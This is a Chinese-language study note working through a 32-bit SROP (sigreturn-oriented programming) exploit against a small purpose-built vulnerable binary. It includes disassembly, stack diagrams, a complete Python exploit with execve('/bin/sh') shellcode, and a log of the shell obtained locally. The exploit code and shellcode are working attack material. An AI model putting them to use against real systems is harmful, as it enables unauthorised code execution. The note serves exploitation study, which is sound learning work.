1 概述
本文是這篇文章的筆記:
Fun with SROP Exploitation
https://v0ids3curity.blogspot.jp/2015/06/fun-with-srop-exploitation.html
環境:Ubuntu 16.04
2 程序
nasm -felf32 vuln_s.asm
ld vuln_s.o -melf_i386 -o vuln_s
millionsky@ubuntu-16:~/tmp$ gdb ./vuln_s
(gdb) shell objdump -d vuln_s
vuln_s: 文件格式 elf32-i386
Disassembly of section .text:
08048060 <vuln>: 8048060: 83 ec 08 sub $0x8,%esp 8048063: b8 03 00 00 00 mov $0x3,%eax 8048068: 31 db xor %ebx,%ebx 804806a: 89 e1 mov %esp,%ecx 804806c: ba 00 04 00 00 mov $0x400,%edx 8048071: cd 80 int $0x80 8048073: 83 c4 08 add $0x8,%esp 8048076: c3 ret
08048077 <_start>: 8048077: e8 e4 ff ff ff call 8048060 <vuln> 804807c: 31 c0 xor %eax,%eax 804807e: 40 inc %eax 804807f: cd 80 int $0x80 |
3 EXP
3.1 思路
主要思路
1. Read返回值控制EAX,設置爲sigreturn的系統調用號0x77
2. 棧溢出,Sigreturn執行mprotect系統調用
3. Mprotect將text段設置爲RWX
4. 調用漏洞函數
5. 棧溢出,執行shellcode
關鍵點
l read返回值控制EAX,從而控制系統調用號;
l sigreturn可以將棧指向ELF header
l sigretrun可以設置EIP指向INT_80和相應的寄存器,從而執行mprotect;
mprotect將.text段設置爲RWX
l ELF header + 0x18的地方爲程序入口,即_start;
棧設置在這裏,配合ret指令可以讓程序重新執行_start;
3.2 實施過程
1. 執行sigreturn系統調用
/*for x86*/ mov eax,0x77 int 80h |
l 棧溢出,覆蓋返回地址指向INT_80 = 0x08048071;
l EAX的控制:發送0x77個字節,read返回後EAX即爲0x77
EIP: 0x08048076 <vuln+22>: ret | ||
| char buf[8] | AAAAAAAA |
| Return addr | 0x08048071 <vuln+17>: int $0x80 |
| Signal Frame | 0x40098 |
| PAD |
|
| 0x0a |
|
2. mprotect修改.text權限爲RWX
mprotect(0x08048000, 0x1000, 7)
mov eax, 125 mov ebx, 0x08048000 mov ecx, 0x1000 mov edx, 7 int 0x80h |
l 棧溢出時僞造Signal Frame;
l Signal Frame中通過指定EIP、EAX、EBX、ECX、EDX,調用mprotect系統調用;EIP指向INT_80 = 0x08048071;
l Signal Frame中指定EBP爲ELF heder,也即.text
EIP: 0x08048077 <_start+0>: call 0x8048060 <vuln> | ||
| 0x00030002 | 0x8048010 |
| 0x00000001 |
|
| 0x08048077 | _start |
|
| 0x804801c |
3. 執行_start
l Signal Frame中指定ESP爲ELF heder+0x10
l mprotect執行後,EIP指向0x8048073, 如下
8048071: cd 80 int $0x80 8048073: 83 c4 08 add $0x8,%esp 8048076: c3 ret |
(gdb) x/8wx 0x8048000 0x8048000: 0x464c457f 0x00010101 0x00000000 0x00000000 0x8048010: 0x00030002 0x00000001 0x08048077 0x00000034 |
l ELF header + 0x18的地方爲程序入口,即_start
l 執行add和ret指令後程序會繼續執行_start
EIP: 0x08048071 <vuln+17>: int $0x80 | ||
0x8048010 | char buf[8] | <=RSP |
0x8048018 | Return addr |
|
4. 執行shellcode
Read時將shellcode讀入棧中;
覆蓋返回地址指向shellcode的開始;
EIP: 0x08048073 <vuln+19>: add $0x8,%esp | ||
0x8048010 | char buf[8] PAD | <=RSP |
0x8048018 | Return addr |
|
0x804801C | NOP Slot | 0x90*16 |
0x804802C | shellcode |
|
| 0x0a |
|
注意:
l shellcode不能用到.text上面的棧空間,即0x08048000之前的空間;
不夠用的話需要調整ESP的值;
l 這裏使用的shellcode用到了5個push,從0x804801C開始,最終會到達0x8048008,不需要調整;
l 這裏的NOP Slot可以不要,即返回地址直接設置爲0x0804801C;
3.3 EXP
#!/usr/bin/env python
import struct
import telnetlib
from Frame import SigreturnFrame
ip = '127.0.0.1'
port = 8888
page_text_segment = 0x08048000
INT_80 = 0x08048071
SYS_MPROTECT = 125
shellcode=("\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80")
shellcode_addr=0x0804801c
con = telnetlib.Telnet(ip, port)
frame = SigreturnFrame(arch="x86")
frame.set_regvalue("eax", SYS_MPROTECT)
frame.set_regvalue("ebx", page_text_segment)
frame.set_regvalue("ecx", 0x1000)
frame.set_regvalue("edx", 0x7)
frame.set_regvalue("ebp", page_text_segment)
frame.set_regvalue("eip", INT_80)
frame.set_regvalue("esp", page_text_segment+16) # points into ELF header, setting it up as fake frame
frame.set_regvalue("cs", 0x23)
frame.set_regvalue("ss", 0x2b)
frame.set_regvalue("ds", 0x2b)
frame.set_regvalue("es", 0x2b)
frame.set_regvalue("fs", 0x0)
frame.set_regvalue("gs", 0x0)
payload = "A" * 8
payload += struct.pack("<I", INT_80) # Overwrite Saved EIP
payload += frame.get_frame()
payload += "A" * (0x77 - len(payload) - 1) # read SIGRETURN number of bytes
con.write(payload + chr(0xa))
# shellcode includes NOP + DUP + stack fix + execve('/bin/sh')
payload2 = "A" * 8
payload2 += struct.pack("<I", shellcode_addr)
payload2 += shellcode
payload2 += chr(0xa)
con.write(payload2)
con.interact()
millionsky@ubuntu-16:~/tmp/SROP$ ulimit -c unlimited;nc.traditional -vvv -e ./vuln_s -l -p 8888 listening on [any] 8888 ... connect to [127.0.0.1] from localhost [127.0.0.1] 59804 millionsky@ubuntu-16:~/tmp/SROP$ python sploit.py whoami millionsky ls Frame.py Frame.pyc code.tar.gz makefile readme.txt sploit.py vuln_s vuln_s.asm vuln_s.o exit *** Connection closed by remote host *** |
4 測試中的問題
1. Sigreturn
剛開始測試的時候掛了,調試發現mprotect沒有成功,但是sigreturn將寄存器設置成功了。然後查找資料,以爲是PaX的mprotect restriction,操作系統限制了對代碼段的權限修改。後來發現Ubuntu上沒有這個限制。最後GDB調試,獲得segment selector register本身的值,包括cs、ss、ds、es、fs、gs,在signal frame中設置爲相應的值就好了。
5 結論
l 練習了32位SROP
l read返回值控制EAX,從而控制系統調用號;
l sigreturn可以將棧指向ELF header
l sigretrun可以設置EIP指向INT_80和相應的寄存器,從而執行mprotect;
mprotect將.text段設置爲RWX
l ELF header + 0x18的地方爲程序入口,即_start;
棧設置在這裏,配合ret指令可以讓程序重新執行_start;
7 參考文章
1. Fun with SROP Exploitation
https://v0ids3curity.blogspot.jp/2015/06/fun-with-srop-exploitation.html